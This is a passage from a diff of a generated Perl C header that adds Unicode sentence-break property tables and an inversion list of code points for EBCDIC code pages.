+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Upper,
 	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Format,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_Numeric,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_STerm,
+	SB_Format,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Format,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
 	SB_Other,
+	SB_Lower,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
 	SB_Lower,
 	SB_Other,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
 	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
 	SB_Upper,
 	SB_Other,
 	SB_Lower,
 	SB_Other,
 	SB_Lower,
+	SB_Upper,
 	SB_Other,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
 	SB_Upper,
 	SB_Other,
 	SB_Lower,
@@ -16981,17 +63226,4842 @@
 	SB_Upper,
 	SB_Other,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
 	SB_Upper,
+	SB_Lower,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Upper,
 	SB_Lower,
+	SB_Extend,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_SB_invlist[] = { /* for EBCDIC 037 */
+	3022,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5D,
+	0x5E,
+	0x60,
+	0x61,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6F,
+	0x70,
+	0x71,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BC,
+	0x1BD,
+	0x1C0,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x375,
+	0x376,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x483,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x55D,
+	0x55E,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F4,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x61F,
+	0x620,
+	0x64B,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x703,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x859,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x104C,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
